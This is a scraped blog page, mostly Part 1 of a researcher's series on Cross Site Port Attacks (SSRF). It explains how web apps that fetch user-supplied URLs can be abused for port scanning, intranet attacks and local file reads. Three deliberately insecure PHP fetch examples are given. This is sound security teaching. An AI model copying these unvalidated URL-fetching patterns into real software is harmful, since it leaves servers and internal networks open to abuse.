<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7mZLwXp6MxHugw2kTI_k9w_rAUOD3KGreZ-EY-qn6o5sdnjm3wSleO6N6n7B_V4I_GqHnsS0EpQa0Ll0IvCJK0aDAu_uYJKFo88I3oQYyMAfbBbBTYJVgs8SiPeI6kX9wx4wSfJU3SIX/s1600/dlink_router_intranet.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7mZLwXp6MxHugw2kTI_k9w_rAUOD3KGreZ-EY-qn6o5sdnjm3wSleO6N6n7B_V4I_GqHnsS0EpQa0Ll0IvCJK0aDAu_uYJKFo88I3oQYyMAfbBbBTYJVgs8SiPeI6kX9wx4wSfJU3SIX/s1600/dlink_router_intranet.png" width="520" /></a></div>
<br />
<br />
Once the web application has been identified, an attacker can then 
research vulnerabilities and exploit vulnerable applications. In the 
next post we shall see how intranet web applications can be attacked and
 how servers can be abused using other protocols as well. We will also 
take a look at fixes that are suggested for developers to thwart XSPA or
 limit the damage that can arise due to this vulnerability.
</div>

Cross Site Port Attacks - XSPA - Part 2

This is the second post in the 3 part series that explains XSPA, the attacks and possible countermeasures. Read Cross Site Port Attacks - ...

Cross Site Port Attacks - XSPA - Part 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: "Trebuchet MS",sans-serif;">This is 
the first of a 3 part series of blog posts that explain Cross Site Port 
Attacks(XSPA) in greater detail. I disclosed this as a speaker at the 
recently concluded OWASP AppSecUSA2012, Austin and thought it was about 
time I blogged as well.
<br /><br />

Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-2.html">Cross Site Port Attacks - XSPA - Part 2</a>
<br />
Read <a href="http://anonymous1769.blogspot.in/2014/08/cross-site-port-attacks-xspa-part-3.html">Cross Site Port Attacks - XSPA - Part 3</a>
<br /><br />

Update: Please note that this is independent research conducted as part 
of my involvement with Bug Bounty programs with several companies and 
although related to <a href="http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf">Alexander Polyakov's research on SSRF</a>,
 the similarity in findings are merely a coincidence and are focused on 
showing how common XSPA/SSRF are in popular web applications.</span><br />
<br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Overview</span> </span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">Many web
 applications provide functionality to pull data from other webservers 
for various reasons. Using user specified URLs, web applications can be 
made to fetch images, download XML feeds from remote servers, text based
 files etc. This functionality can be abused by making crafted queries 
using the vulnerable web application as a proxy to attack other services
 running on remote/local servers. Attacks arising via this abuse of 
functionality are named as Cross Site Port Attacks (XSPA). </span><br />
<br />
<h2 style="text-align: left;">
<span style="font-weight: normal;"><span style="font-family: "Trebuchet MS",sans-serif;">What is XSPA? </span></span></h2>
<span style="font-family: "Trebuchet MS",sans-serif;">An 
application is vulnerable to Cross Site Port Attacks if the application 
processes user supplied URLs and does not verify/sanitize the backend 
response received from remote servers before sending it back to the 
client. An attacker can send crafted queries to a vulnerable web 
application to proxy attacks to external Internet facing servers, 
intranet devices and the web server itself using the advertised 
functionality of the vulnerable web application. The responses, in 
certain cases, can be studied to identify service availability (port 
status, banners etc.) and even fetch data from remote services in 
unconventional ways.<br /><br />The following screengrab shows gravatar.com providing this functionality:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5Yfq9UiZbhvkL4WTiVYjsjS4ztm7D21aPLTh5Fsy2l8VOuCvcb6idcBjK1EgBbk4BlMiZJJZfRR9SeUQjhIw2k6bvs2ccfIiVRYfIr4KHKWyOjKZoO01smKmQDhDIBI4t-c2HJOCW0Td/s1600/gravatar.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5Yfq9UiZbhvkL4WTiVYjsjS4ztm7D21aPLTh5Fsy2l8VOuCvcb6idcBjK1EgBbk4BlMiZJJZfRR9SeUQjhIw2k6bvs2ccfIiVRYfIr4KHKWyOjKZoO01smKmQDhDIBI4t-c2HJOCW0Td/s640/gravatar.PNG" width="540" /></a></div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">XSPA 
allows attackers to abuse available functionality in most web 
applications to port scan intranet and external Internet facing servers,
 fingerprint internal (non-Internet exposed) network aware services, 
perform banner grabbing, identify web application frameworks, exploit 
vulnerable programs, run code on reachable machines, exploit web 
application vulnerabilities listening on internal networks, read local 
files using the file protocol and much more. XSPA has been discovered 
with Facebook, where it was possible to port scan any Internet facing 
server using Facebook’s IP addresses. Consecutively, XSPA was also 
discovered in several other prominent web applications on the Internet, 
including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest, 
Yahoo, Adobe Omniture and several others. We will take a look at the 
vulnerabilities that were present in the above mentioned web 
applications that could be used to launch attacks and perform port scans
 on remote servers and intranet devices using predefined functionality.</span><br />
<br />
<h2 style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-weight: normal;">Examples of Implementation </span></span></h2>
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">Let us 
look at some examples of PHP implementations of file fetching via user 
supplied URLs. XSPA affects web applications written in any language as 
long as they let users decide where the data would be fetched from. 
Please note the examples shown below are neither clean nor secure, 
however most of the parts of the code outlined below have been obtained 
from real world application sources.</span></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">
1.    PHP file_get_contents:</span></div>
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">
<span style="font-family: "Courier New",Courier,monospace;">
<?php<br /> 
    if (isset($_POST['url'])) <br />
    { <br />
    $content = file_get_contents($_POST['url']); <br />
    $filename = './images/'.rand().'img1.jpg'; <br />
    file_put_contents($filename, $content); <br />
    echo $_POST['url']."";     <br />
    $img = "<img src=\"".$filename."\"/>"; <br />
    } <br />
    echo $img; <br />
?><br /><br />

</span></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">This 
implementation fetches data as requested by a user (an image in this 
case) using the file_get_contents PHP function and saves it to a file 
with a randomly generated filename on the disk. The HTML img attribute 
then displays the image to the user.</span><br />
<br />
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">
2.    PHP fsockopen() function:</span></div>
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<?php <br />
 function GetFile($host,$port,$link) <br />
 { <br />
 $fp = fsockopen($host, intval($port), $errno, $errstr, 30); <br />
 if (!$fp) { <br />
  echo "$errstr (error number $errno) \n"; <br />
 } else { <br />
  $out = "GET $link HTTP/1.1\r\n"; <br />
  $out .= "Host: $host\r\n"; <br />
  $out .= "Connection: Close\r\n\r\n"; <br />
  $out .= "\r\n"; <br />
  fwrite($fp, $out); <br />
  $contents=''; <br />
  while (!feof($fp)) { <br />
   $contents.= fgets($fp, 1024); <br />
  } <br />
  fclose($fp); <br />
  return $contents; <br />
 } <br />
 }<br />
?><br /><br />
</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">This 
implementation fetches data as requested by a user (any file or HTML) 
using the fsockopen PHP function. This function establishes a TCP 
connection to a socket on the server and performs a raw data transfer. </span><br />
<br />
<div style="text-align: left;">
<span style="font-family: "Trebuchet MS",sans-serif;">3.    PHP curl_exec() function: </span></div>
<div style="text-align: left;">
<span style="font-family: "Courier New",Courier,monospace;">
<?php <br />
  if (isset($_POST['url']))<br />
    {<br />
  $link = $_POST['url'];<br />
  $curlobj = curl_init();<br />
  curl_setopt($curlobj, CURLOPT_POST, 0);<br />
  curl_setopt($curlobj,CURLOPT_URL,$link);<br />
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);<br />
  $result=curl_exec($curlobj);<br />
  curl_close($curlobj);<br />
  <br />
  $filename = './curled/'.rand().'.txt';<br />
  file_put_contents($filename, $result);    <br />
  echo $result;<br />
    }<br />
?><br /><br />
</span></div>
<span style="font-family: "Trebuchet MS",sans-serif;">This is 
another very common implementation that fetches data using cURL via PHP.
 The file/data is downloaded and stored to disk under the 'curled' 
folder and appended with a random number and the '.txt' file extension.</span><br />
<br />
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">In the 
next part of this series, we shall see some of the attacks that can be 
launched using this vulnerbility. XSPA allows attackers to target the 
server infrastructure, mostly the intranet of the web server, the web 
server itself and any public Internet facing server as well. Currently, I
 have come across the following five different attacks that can be 
launched using XSPA:</span><br />
<br />
<span style="font-family: "Trebuchet MS",sans-serif;">1. Port 
Scanning remote Internet facing servers, intranet devices and the local 
web server itself. Banner grabbing is also possible in some cases.<br />2. Exploiting vulnerable programs running on the Intranet or on the local web server<br />3.
 Attacking internal/external web applications that are vulnerable to GET
 parameter based vulnerabilities (SQLi via URL, parameter manipulation 
etc.)<br />4. Fingerprinting intranet web applications using standard application default files & behavior<br />5. Reading local web server files using the file:/// protocol handler.</span><span style="font-family: "Trebuchet MS",sans-serif;"><br /><br />We will see examples of each of these scenarios in several prominent web applications on the Internet as well. </span></div>

Cross Site Port Attacks - XSPA - Part 1

This is the first of a 3 part series of blog posts that explain Cross Site Port Attacks(XSPA) in greater detail. I disclosed this as a sp...